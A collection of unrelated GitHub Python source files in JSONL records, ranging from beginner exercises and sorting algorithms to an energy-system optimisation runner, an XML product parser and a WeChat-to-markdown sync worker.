+{"seq_id":"11076005709","text":"# UDP Server code\n\nimport socket\n\ns = socket.socket(socket.AF_INET,socket.SOCK_DGRAM )\ns.bind((\"\", 10000))\ns.settimeout(40)\nwhile True:\n    data, addr = s.recvfrom(16)\n    resp = b\"GET OFF My Lawn\"\n    s.sendto(resp,addr)\n    print('From Client',data)\n","repo_name":"ChocolatePadmanaban/Learning_python","sub_path":"Day8/part4.py","file_name":"part4.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35565929794","text":"\"\"\"\n    Enter your details below:\n\n    Name: ZI JIN\n    Student Code: U5541673\t\n    email: U5541673@ANU.EDU.AU\n\"\"\"\n'''\n3. It produces an **optimal** solution, (that is the number of steps is minimal)  # SHOULD NOT USE EXPLORED(),\n4. The number of nodes on the fringe is **linear** in the depth of the deepest node\n5. In case no solution is found, the procedure prints a valid **lower-bound** for the\n   solution on the standard output\n4. In order to achieve our similar performances, you need a smart way to detect\n   loops, which does not compromise optimality, and preserves the O(bm) space requirement\n'''\nimport util\nimport search_strategies\nimport frontiers\nimport search_problems\n\n\ndef solve( problem ) :\n\tactions = list()\n\tdepth = 1;\n\twhile True:\n\t\ta = DLS(problem,depth)[\"solution\"]\n\t\tif a == 'done':\n\t\t\treturn DLS(problem,depth)['path']\n\t\telif a == 'cutoff':\n\t\t\tdepth = depth + 1\n\t\t\tprint(depth)\n\n\ndef DLS(problem,depth): \n\tnode = search_strategies.SearchNode(None,None,None,None,0)  # for the searchNode def __init__(self, state, action = None, path_cost = 0, parent = None, depth = 0):\n\tnode.state = problem.get_initial_state()\n\texplored = set()\n\texplored.add(node.state)\n\treturn  Recursive_DLS (node,problem,depth,explored)\n\t\ndef Recursive_DLS (node,problem,depth,explored):  # this part implements the pseudo-code of the lecture node\n\tex = explored.copy()\n\t\n\tif problem.goal_test(node.state):\n\n\t\tactions = list()\n\t\twhile node.parent: # if the node has a parent\n\t\t\tactions.insert(0,node.action)\n\t\t\tnode=node.parent\n\t\treturn {\"solution\" : 'done' , \"path\" : actions}\n\t\n\telif node.depth == depth:\n\t\treturn {\"solution\" : 'cutoff' , \"path\" : None}\n\telse:\n\t\tcutoff_occ = False\n\t\t\n\t\tfor successor,action,cost in problem.get_successors(node.state): \n\t\t\tex.add(successor) # detect the loop\n\t\t\tif successor not in explored:\n\t\t\t\tnew_node=search_strategies.SearchNode(successor, action, cost, node, node.depth + 1)\n\t\t\t\tresult = Recursive_DLS(new_node,problem,depth,ex)\n\t\t\t\tif result['solution'] == 'cutoff':\n\t\t\t\t\tcutoff_occ = True\n\t\t\t\telif result['solution'] != 'gg':\n\t\t\t\t\treturn result\n\t\tif cutoff_occ == True:\n\t\t\treturn {\"solution\" : 'cutoff' , \"path\" : None}\n\t\telse:\n\t\t\treturn {\"solution\" : 'gg' , \"path\" : None}\n\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n","repo_name":"Gin93/ARTIFICIAL-INTELLIGENCE","sub_path":"COMP3620-6320-2017-Assignment-1-Search-master-20f2f997abb487621002b5a5355e2b13f5a9c732/code/ids_search.py","file_name":"ids_search.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10841289757","text":"\nimport logging\nfrom vppopt.workflow import WorkFlow\nfrom loguru import logger\nfrom oemof import solph\nimport pandas as pd\nimport datetime\nimport os\n\n\ndef run_external_script(\n    workflowObj,\n    esys=None,\n    om = None,\n    script_type=\"reporting\"\n    ):\n\n    \"\"\"\n    run external python script for run_vppopt and vppopt run \n    ===========================\n    \"\"\"\n    workflow_for_json = workflowObj.workflow_for_json\n    if not workflow_for_json:\n        err_msg = \"ERROR: vppopt json workflow not found\"\n        logger.error(err_msg)\n        return 1\n    \n    # script type must be either 'inputgen' or 'energyplus' or 'reporting'\n    if not script_type or not any(script_type==el for el in [\"inputgen\", \"model\",\"reporting\"]):\n        err_msg = \"ERROR: script_type is missed or not equal to either 'inputgen', 'mode' or 'reporting'\"\n        logger.error(err_msg)\n        return 1\n    \n    import sys\n    import importlib\n    externalScript = workflow_for_json[\"ExternalScript\"]\n    scriptDir = str(externalScript[\"script_dir\"])\n    if not os.path.exists(scriptDir):\n        err_msg = \"ERROR: No such file or directory {}\".format(scriptDir)\n        logger.error(err_msg)\n        return 1\n    \n    # should check if path already exisist\n    if not os.path.dirname(scriptDir) in sys.path:\n        sys.path.append(os.path.dirname(scriptDir))\n    \n    script_count = 0\n    for script in externalScript[\"scripts\"]:\n        print(script)\n        if (not script[\"tag\"]) or (not script[\"name\"]):\n            script_count+=1\n            print(\n                \"WARNING: script name and tag must be specified for all external python script. Name and/or tag of script [{}] is/are missed\".format(script_count)\n                )\n        if str(script[\"tag\"]).lower()==script_type.lower():\n            importedModule = importlib.import_module(\"scripts.{}\".format(script[\"name\"]))\n            kwargs = script[\"arguments\"]\n            kwargs[\"workflowObj\"] = workflowObj\n\n            # for key_name in script[\"additional_arguments\"]:\n            #     if key_name in kwargs.keys():\n            #         err_msg = \"ERROR: key name conflict between script principal arguments and additional one {}\".format(key_name)\n            #         raise Exception(err_msg)\n\n            #     if not key_name in additional_args.keys():\n            #         err_msg = \"ERROR: {} is not found in function keyword additional arguments {}\".format(key_name,additional_args.keys())\n            #         raise Exception(err_msg)\n\n            #     kwargs[key_name] = additional_args[key_name]\n\n            eval(\"importedModule.main(esys, om,**kwargs)\")\n\ndef run_vppopt(nodes,**kwargs):\n    \"\"\"\n    :param model - pyomo abstract model\n    \"\"\"\n    workflowObj = kwargs.get(\"workflowObj\")\n    # TODO: timeindex could be gotten from vppopt.json, timeseries data\n    # simulation settings\n    timeindex = kwargs.get('timeindex',None)\n    periods = kwargs.get('periods',8760)\n\n    # optimizer setting\n    # solver could be gotten from vppopt also\n    solver = kwargs.get('solver','cbc')\n    solver_io = kwargs.get('solver_io',\"lp\")\n    executable = kwargs.get('executable',\"\")\n    solve_kwargs = kwargs.get('solve_kwargs',{})\n    solver_cmd_options = kwargs.get(\"cmdline_options\",{})\n\n\n    if not timeindex:\n        logger.info(\"No timeindex is specified, only 24 hours will be considered as simulation time\")\n        start_date = datetime.datetime(datetime.datetime.now().year,1,1)\n        timeindex = pd.date_range(start=start_date,periods=periods,freq='H')    \n\n    # model creation and solving\n    logger.info(\"Starting optimization\")\n\n    # initilisation of the energy system\n    energy_system = solph.EnergySystem(timeindex=timeindex)\n\n    # add nodes and flows to energy system\n    energy_system.add(*nodes)\n\n    print(\"*********************************************************\")\n    print(\"The following objects have been added to energy system object:\")\n    for n in energy_system.nodes:\n        oobj = str(type(n)).replace(\"<class 'oemof.solph.\", \"\").replace(\"'>\", \"\")\n        print(oobj + \":\", n.label)\n    print(\"*********************************************************\")\n\n    #####################################\n    # Optimize the energy system\n    #####################################\n    om = solph.Model(energy_system)\n\n    # TODO: all external script with tag of 'model' must be run here\n    run_external_script(workflowObj,esys=energy_system, om=om, script_type=\"model\")\n\n    # TODO: Do not understand what is it for?\n    om.receive_duals()\n\n    # solving the linear problem using the given solver\n    om.solve(\n        solver=solver,\n        solver_io=solver_io,\n        executable=executable,\n        solve_kwargs=solve_kwargs,\n        cmdline_options = solver_cmd_options        \n        )\n\n    return energy_system, om","repo_name":"Ldelcham/h2cs-design","sub_path":"vppopt/vppopt.py","file_name":"vppopt.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30205179437","text":"import hdrio\nimport argparse\nimport os\nimport numpy as np\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--input_dir')\nparser.add_argument('--input_filename', default=None, help='should be ended with .exr')\nparser.add_argument('--back_shift', action='store_true')\nargs = parser.parse_args()\nif args.input_filename is None:\n    if args.back_shift:\n        args.input_filename = 'emap_learned_shifted.exr'\n    else:\n        args.input_filename = 'emap_learned.exr'\n\nexr_img_path = os.path.join(args.input_dir, args.input_filename)\nexr_img = hdrio.imread(exr_img_path)\nH, W, _ = exr_img.shape\nif args.back_shift:\n    shifted = np.roll(exr_img, W//4*1, axis=1)\n    hdrio.imwrite(shifted, exr_img_path.replace('_shifted.exr', '.exr'))\nelse:\n    shifted = np.roll(exr_img, -W//4*1, axis=1)\n    hdrio.imwrite(shifted, exr_img_path.replace('.exr', '_shifted.exr'))\n","repo_name":"KovenYu/ALP","sub_path":"shift_exr.py","file_name":"shift_exr.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"3"}
+{"seq_id":"39510752920","text":"#!/bin/python\n\nimport xml.etree.ElementTree as ET\nimport json\ntree = ET.parse('./smalldataset/small_product_data.xml')\n\ndef str2bool(str):\n\tif str=='true':\n\t\treturn True \n\treturn False\n\nroot = tree.getroot()\nresdict={}\nfor product in root.findall('product'):\n\tsku = product.find('sku').text.strip()\n\n#string type feature\n\tname = product.find('name').text.strip()\n\tlongDescription = product.find('longDescription').text.strip()\n\n\torderable = \"\"\n\tif  product.find('orderable') != None:\n\t\torderable = product.find('orderable').text.strip().lower()\n\n\n\n\tformat=\"\"\n\tif product.find('format').text != None:\n\t\tformat = product.find('format').text.strip().lower()\n\n\tcategorylst=[]\n\tfor elem in product.find('categoryPath'):\n\t\tcategorylst.append( elem.find('id').text.strip())\n\n\n\trelateditem=[]\n\tfor elem in product.find('frequentlyPurchasedWith'):\n\t\tif elem.text != None:\n\t\t\tif len(elem.text.strip())>0:\n\t\t\t\trelateditem.append( elem.text.strip())\n\n\n#bool type feature\n\tnew = str2bool(product.find('new').text.strip().lower())\n\tactive = str2bool(product.find('active').text.strip().lower())\n\tonsale = str2bool(product.find('onSale').text.strip().lower())\n\tpreowned = str2bool(product.find('preowned').text.strip().lower())\n\tfreeShipping = str2bool(product.find('freeShipping').text.strip().lower())\n\tinStoreAvailability = str2bool(product.find('inStoreAvailability').text.strip().lower())\n\tonlineAvailability = str2bool(product.find('onlineAvailability').text.strip().lower())\n\n\tinStorePickup = False\n\tif product.find('inStorePickup') != None:\n\t\tinStorePickup = str2bool(product.find('inStorePickup').text.strip().lower())\n\n\tfriendsAndFamilyPickup = False\n\tif product.find('friendsAndFamilyPickup') != None:\n\t\tfriendsAndFamilyPickup = str2bool(product.find('friendsAndFamilyPickup').text.strip().lower())\n\n\thomeDelivery = False\n\tif product.find('homeDelivery') != None:\n\t\thomeDelivery = str2bool(product.find('homeDelivery').text.strip().lower())\n\tadvertisedPriceRestriction = str2bool(product.find('advertisedPriceRestriction').text.strip().lower())\n\tdigital = str2bool(product.find('digital').text.strip().lower())\n\tspecialOrder = str2bool(product.find('specialOrder').text.strip().lower())\n\n\thasimg=False\n\tif product.find('image') != None and product.find('image').text != None:\n\t\thasimg=True\n\n\thaslargefrontimg=False\n\tif product.find('largeFrontImage') != None and product.find('largeFrontImage').text != None:\n\t\thaslargefrontimg=True\n\n\thasmediumImage=False\n\tif product.find('mediumImage') != None and product.find('mediumImage').text != None:\n\t\thasmediumImage=True\n\n\thasthumbnailImage=False\n\tif product.find('thumbnailImage') != None and product.find('thumbnailImage').text != None:\n\t\thasthumbnailImage=True\n\n\thaslargeImage=False\n\tif product.find('largeImage') != None and product.find('largeImage').text != None:\n\t\thaslargeImage=True\n\n\n\n\n\n\n# rank type feature\t\n\tif  product.find('salesRankShortTerm').text != None:\n\t\tshorttermrank = int(product.find('salesRankShortTerm').text.strip())\n\telif  product.find('salesRankShortTerm').text == None:\n\t\tshorttermrank = -1\n\n\tif  product.find('salesRankMediumTerm').text != None:\n\t\tmedtermrank = int(product.find('salesRankMediumTerm').text.strip())\n\telif product.find('salesRankMediumTerm').text == None:\n\t\tmedtermrank = -1\n\n\tif product.find('salesRankLongTerm').text != None:\n\t\tlongtermrank = int(product.find('salesRankLongTerm').text.strip())\n\telif product.find('salesRankLongTerm').text == None:\n\t\tlongtermrank = -1\n\n\tif  product.find('bestSellingRank').text != None:\n\t\tbesttermrank = int(product.find('bestSellingRank').text.strip())\n\telif  product.find('bestSellingRank').text == None:\n\t\tbesttermrank = -1\n\n#num type feture\n\tif product.find('customerReviewCount').text != None:\n\t\treviewcount = int(product.find('customerReviewCount').text.strip())\n\telif product.find('customerReviewCount').text == None:\n\t\treviewcount = 0\n\n\tif product.find('customerReviewAverage').text != None:\n\t\treviewavg = float(product.find('customerReviewAverage').text.strip())\n\telif product.find('customerReviewAverage').text == None:\n\t\treviewavg = 0\n\n\n\tif product.find('regularPrice').text != None:\n\t\tregularPrice = float(product.find('regularPrice').text.strip())\n\telif product.find('regularPrice').text == None:\n\t\tregularPrice = -1\n\n\tif product.find('salePrice').text != None:\n\t\tsalePrice = float(product.find('salePrice').text.strip())\n\telif product.find('salePrice').text == None:\n\t\tsalePrice = -1\n\n\tif product.find('restrictedSalePrice').text != None:\n\t\trestrictedSalePrice = float(product.find('restrictedSalePrice').text.strip())\n\telif product.find('restrictedSalePrice').text == None:\n\t\trestrictedSalePrice = -1\n\n\tif product.find('shippingCost').text != None:\n\t\tshippingCost = float(product.find('shippingCost').text.strip())\n\telif product.find('shippingCost').text == None:\n\t\tshippingCost = 0\n\n\tnumofoffers=len(product.find('offers'))\n\n\tproductelem={\n\t'name' : name,\n\t'desc' : longDescription,\n\t'orderable' : orderable,\n\t'format': format,\n\t'categorylst': categorylst,\n\t'relateditem': relateditem,\n\t'new':new,\n\t'active':active,\n\t'onsale':onsale,\n\t'preowned':preowned,\n\t'freeShipping':freeShipping,\n\t'inStoreAvailability':inStoreAvailability,\n\t'onlineAvailability':onlineAvailability,\n\t'inStorePickup':inStorePickup,\n\t'friendsAndFamilyPickup':friendsAndFamilyPickup,\n\t'homeDelivery':homeDelivery,\n\t'advertisedPriceRestriction':advertisedPriceRestriction,\n\t'digital':digital,\n\t'specialOrder':specialOrder,\n\t'hasimg':hasimg,\n\t'haslargefrontimg':haslargefrontimg,\n\t'hasmediumImage':hasmediumImage,\n\t'hasthumbnailImage':hasthumbnailImage,\n\t'haslargeImage':haslargeImage,\n\t'shorttermrank':shorttermrank,\n\t'medtermrank':medtermrank,\n\t'longtermrank':longtermrank,\n\t'besttermrank':besttermrank,\n\t'reviewcount':reviewcount,\n\t'reviewavg':reviewavg,\n\t'regularPrice':regularPrice,\n\t'salePrice':salePrice,\n\t'restrictedSalePrice':restrictedSalePrice,\n\t'shippingCost':shippingCost,\n\t'numofoffers':numofoffers\n\t}\n\tif sku not in resdict:\n\t\tresdict[sku]=productelem\n\nopen('./smalldataset/small_product_data.json','w').write(json.dumps(resdict))\n\n\n\n\n","repo_name":"zyqu/bestbuyRS","sub_path":"productparser.py","file_name":"productparser.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69793646481","text":"#coding: utf8\nimport re\nfrom farbox_bucket.utils import smart_unicode\nfrom farbox_bucket.bucket.utils import get_now_from_bucket\nfrom farbox_bucket.bucket.record.get.path_related import get_json_content_by_path\nfrom farbox_bucket.server.helpers.file_manager_downloader import download_from_internet_and_sync\nfrom farbox_bucket.server.helpers.markdown_doc_append_worker import append_to_markdown_doc_and_sync\nfrom farbox_bucket.server.helpers.file_manager import sync_file_by_server_side\n\nfrom .bind_wechat import set_name_by_wechat_user_id, get_name_by_wechat_user_id\n\n\n#    #tag #hello [[ #wiki_tag ]] [[#more]] test\ndef compile_tag_to_wiki_link_syntax(content, is_voice=False):\n    content = re.sub(\"(?<!\\[)(#[^# \\t]+)\", \"[[\\g<1>]]\", content)\n    content = re.sub(\"(\\[\\s*){2,}\\[\", \"[[\", content)\n    content = re.sub(\"(\\]\\s*){2,}\\]\", \"]]\", content)\n    if is_voice and u\"标签\" in content:\n        p1, p2 = content.rsplit(u\"标签\", 1)\n        if u\"，\" not in p2:\n            p2 = p2.replace(u\"。\", \"\").strip()\n            if len(p2) <= 5:\n                content = u\"%s[[#%s]]。\" % (p1, p2)\n    return content\n\n\ndef wechat_text_image_handler(wechat_user_id, bucket, xml_data):\n    msg_id = xml_data.get(\"MsgId\")\n    create_time = xml_data.get(\"CreateTime\")\n    msg_type = xml_data.get(\"MsgType\")\n\n    # post_root, auto_add_date(bool), silent_reply(bool), image_folder, image_insert_type(image/markdown_syntax)\n    wechat_configs = get_json_content_by_path(bucket, \"__wechat.json\", force_dict=True)\n\n    today = get_now_from_bucket(bucket, \"%Y-%m-%d\")\n    silent_reply = wechat_configs.get(\"silent_reply\") or False\n    post_root = (wechat_configs.get(\"post_folder\") or \"\").strip(\"/\")\n    auto_add_date = wechat_configs.get(\"auto_add_date\", False)\n    add_nickname = wechat_configs.get(\"add_nickname\", False)\n    draft_by_default = wechat_configs.get(\"draft_by_default\", False)\n    one_user_one_post = wechat_configs.get(\"one_user_one_post\", False)\n    user_post_per_day = wechat_configs.get(\"user_post_per_day\", False)\n\n    if msg_type == \"image\":  # 纯图片\n        pic_url = xml_data.get(\"PicUrl\")\n        if not pic_url:\n            return \"error: PicUrl is blank\"\n        filename = \"%s.jpg\" % (msg_id or create_time)\n        image_insert_type = wechat_configs.get(\"image_insert_type\")\n        raw_image_folder = smart_unicode(wechat_configs.get(\"image_folder\") or \"\").strip(\"/\")\n        image_folder = smart_unicode(raw_image_folder) or today\n        if image_insert_type == \"image\":  # 直接保存图片\n            path = \"%s/%s\" % (image_folder, filename)\n            download_from_internet_and_sync(bucket=bucket, url=pic_url, path=path, timeout=60) # 下载图片并进行保存\n            if silent_reply:\n                return \"\"\n            else:\n                return u\"将保存到 %s\" % path\n        else:\n            if raw_image_folder:\n                # 还是按照 day 增加一层子目录，避免多了找不到的情况\n                path = \"/%s/%s/%s\" % (raw_image_folder, today, filename)\n            else:\n                path = \"/_image/%s/%s\" % (today, filename)\n            text_to_append = \"![](%s)\" % path  # 插入图片的语法\n            download_from_internet_and_sync(bucket=bucket, url=pic_url, path=path, timeout=60)\n    else:\n        text_to_append = xml_data.get(\"Content\") or xml_data.get(\"Recognition\") or xml_data.get(\"EventKey\") or \"\"\n\n    text_to_append = text_to_append.strip()\n\n    if \"\\n\" not in text_to_append and re.match(u\"name \", text_to_append):\n        name = text_to_append[5:].strip()\n        if name:\n            set_name_by_wechat_user_id(wechat_user_id, name)\n            return u\"昵称已设定为 %s\" % name\n\n    if one_user_one_post:\n        if user_post_per_day:\n            today_string = get_now_from_bucket(bucket, \"%Y-%m-%d\")\n        else:\n            today_string = \"\"\n        if post_root:\n            if today_string:\n                post_path = \"%s/%s/%s.txt\" % (post_root, wechat_user_id, today_string)\n            else:\n                post_path = \"%s/%s.txt\" %  (post_root, wechat_user_id)\n        else:\n            if today_string:\n                post_path = \"%s/%s.txt\" % (wechat_user_id, today_string)\n            else:\n                post_path = \"%s.txt\" % wechat_user_id\n    else:\n        if post_root:\n            post_path = post_root + \"/\" + get_now_from_bucket(bucket, \"%Y-%m-%d.txt\")\n        else:\n            post_path = get_now_from_bucket(bucket, \"%Y/%Y-%m-%d.txt\")\n\n\n    if text_to_append.strip() == \"reset\":\n        if one_user_one_post:\n            sync_file_by_server_side(bucket=bucket, relative_path=post_path, content=\" \")\n            return u\"%s 已重置\" % post_path\n        else:\n            return u\"只有 `One User One Post` 的时候才能使用 reset 命令。\"\n\n    if text_to_append:\n        if add_nickname:\n            nickname = get_name_by_wechat_user_id(wechat_user_id)\n            if nickname:\n                text_to_append = \"%s: %s\" % (nickname, text_to_append)\n\n        if auto_add_date and \"\\n\" not in text_to_append:\n            if text_to_append.startswith(\"---\") or re.match(u\"\\w+[:\\uff1a]\", text_to_append):\n                auto_add_date = False\n        if auto_add_date: # 添加时间戳\n            bucket_now = get_now_from_bucket(bucket, \"%Y-%m-%d %H:%M:%S\")\n            text_to_append = \"%s %s\"%(bucket_now, text_to_append)\n\n        is_voice = True if xml_data.get(\"Recognition\") else False\n        text_to_append = compile_tag_to_wiki_link_syntax(text_to_append, is_voice=is_voice)\n\n        # 保存文章, 5 分钟的间隔自动多一个空line\n        append_to_markdown_doc_and_sync(bucket=bucket, path=post_path, content=text_to_append,\n                                        lines_more_diff=5*60, draft_by_default=draft_by_default)\n\n        if silent_reply:\n            return \"\"\n        else:\n            return u\"已保存至 %s\" % post_path\n","repo_name":"hepochen/FarBox","sub_path":"farbox_bucket/clouds/wechat/wechat_text_image_sync_worker.py","file_name":"wechat_text_image_sync_worker.py","file_ext":"py","file_size_in_byte":5899,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"3"}
+{"seq_id":"23264963294","text":"# Reutilizando a mesma lista do exercício anterior\nalunos = [('Paulo', 0), ('Renzo', 10), ('Ada', 9)]\n\n# Podemos usar uma list comprehension que faça as vezes de filtro para obter o resultado que queremos\nprint([(nome, nota) for nome, nota in alunos if nota > 5])\n\n\n# o filter é uma função de alta ordem que recebe como primeiro parâmetro uma função que receberá elementos de um\n# iterável que será passado como segundo parâmetro\ndef possui_nota_maior_que_5(aluno):\n\t_, nota = aluno\n\treturn nota > 5\n\n\nprint(list(filter(possui_nota_maior_que_5, alunos)))\n","repo_name":"PauloViOS/pratica_objetos_pythonicos","sub_path":"programacao_funcional/02 - funcao_como_objeto/04 - filtro_mapa.py","file_name":"04 - filtro_mapa.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41687882833","text":"def selection_sort (array):\n    mi = 0\n    for i in range(len(array)):\n        for j in range(mi+1,len(array)):\n            if array[j]<array[mi]:\n                array[j],array[mi]=array[mi],array[j]\n        mi+=1\n\n    return array\n\ndef bubble_sort(array):\n    for i in range(len(array)):\n        for j in range(len(array)-1):\n            if array[j] >array[j+1]:\n                array[j+1],array[j]= array[j],array[j+1]\n\n\n    return array\n\ndef quicksort(array):\n\n    if len(array)>1:\n        pivot = array.pop()\n        less =[]\n        more =[]\n        equal =[pivot]\n\n        for i in range(len(array)):\n            if array[i]<pivot:\n                less.append(array[i])\n            elif array[i]>pivot:\n                more.append(array[i])\n            else:\n                equal.append(array[i])\n\n        return quicksort(less)+equal+quicksort(more)\n\n    else:\n        return array\n\n\n\n\n\narray = [4,5,3,1,7,8,2]\n#t=selection_sort(array)\n#t= bubble_sort(array)\nt=quicksort(array)\nprint(t)","repo_name":"pauyang/Interview_questions","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16574895558","text":"diner_inv = ['Lucas','Munzer','Breaden']\n\nfor i in diner_inv:\n    print (f'hey {i} would you like to go to dinner')\n\ndiner_inv[2] = \"willy billy\"\nfor i in diner_inv:\n    print (f'hey {i} would you like to go to dinner')\n\nq1 = input('hey I found biger table you want to invite anyone at the ,beginning? ')\ndiner_inv.insert(0, q1)\nq1 = input('hey I found biger table you want to invite anyone at the ,middel? ')\ndiner_inv.insert(2, q1)\nq1 = input('hey I found biger table you want to invite anyone at the ,end? ')\ndiner_inv.append(q1)\nprint (diner_inv)\nprint ('there only two spcae')\ndiner_inv.pop(-1)\nprint (diner_inv)\nx = len(diner_inv)\nprint (f'There {i} invite')","repo_name":"Erie-High-School-Computer-Programming/python-crash-course-assignments-MohamadON4EIM","sub_path":"Chapter 3/3-4 to 3-7.py","file_name":"3-4 to 3-7.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8487416105","text":"# Дано: целое число\n# Задача - найти количество разрядов числа\n\nx = 100_000_000\ncount = 1\nx //= 10\n\nwhile x > 0:\n    x //= 10\n    count += 1\nprint(f'количество разрядов: {count}')\n\n# Дано: положительное целое число\n# Задача - найти факториал числа\n\nx = 7\n\nfactorial = 1\nfor i in range(2, x + 1):\n    factorial *= i\nprint(f'факториал числа {x}: {factorial}')\n\n# Дано: список чисел\n# Задача - вывести на экран все числа, которые больше среднего значение по списку\n\ninput_list = [1, 6, 13, 76, 44, 56, 12, 13, 7, 8, 9]\n\nnew_list = []\n\naverage_number = sum(input_list) / len(input_list)\n\nfor num in input_list:\n    if num > average_number:\n        new_list.append(num)\nprint(f'числа больше среднего значение: {new_list}')\n\n# Дано список ключей и соответствующих им значений в другом списке\n# Задача - объединить ключи и значения в словарь\n\nkeys_list = ['a', 'b', 'c', 'd', 'e']\nvalues_list = [1, 2, 3, 4, 5]\n\ndictionary = {}\n\nfor key in range(len(keys_list)):\n    dictionary[keys_list[key]] = values_list[key]\nprint(dictionary)\n\n# Дано: строка, содержащая предложение\n# Задача - создать словарь, в котором для всех слов кроме \"the\" ключем будет само слово,\n# а значением количество букв, из которых оно состоит.\n\ninput_sentence = \"the quick brown fox jumps over the lazy dog\"\n\nmy_dict = {word: len(word) for word in input_sentence.split(' ') if word != 'the'}\nprint(my_dict)\n\n# Дано: 3 множества чисел\n# Задача - построить список из всех возможных комбинаций, сумма элементов которых больше 7.\n\nset1 = {1, 2, 3}\nset2 = {4, 5, 6}\nset3 = {1, 5, 9}\n\nres = [(x, y, z) for x in set1 for y in set2 for z in set3 if x + y + z > 7]\nprint(res)\n\n\n\n\"\"\"\nfunc_input = (1, 3, 6)\n\n\ndef add(x, y, z):\n    return x + y + z\n\n\nres = add(*func_input)\nprint(res)\n\n\ndef fib(n):\n    a = 1\n    b = 1\n    for i in range(n):\n        yield a\n        a, b = b, a + b\n\n\ndata = list(fib(6))\nprint(data)\n\n\nword = 'madam'\n\n\ndef palidr(s):\n    reverst = s[::-1]\n    if s == reverst:\n        return True\n    return False\n\n\nprint(palidr(word))\n\n\ndef myfunc (*args):\n   for item in args:\n       if item%2==0:\n            return item\nprint(myfunc(5,2,6,8))\n\n\"\"\"","repo_name":"YarKoniukhov/itea_data_science","sub_path":"lesson_3.py","file_name":"lesson_3.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}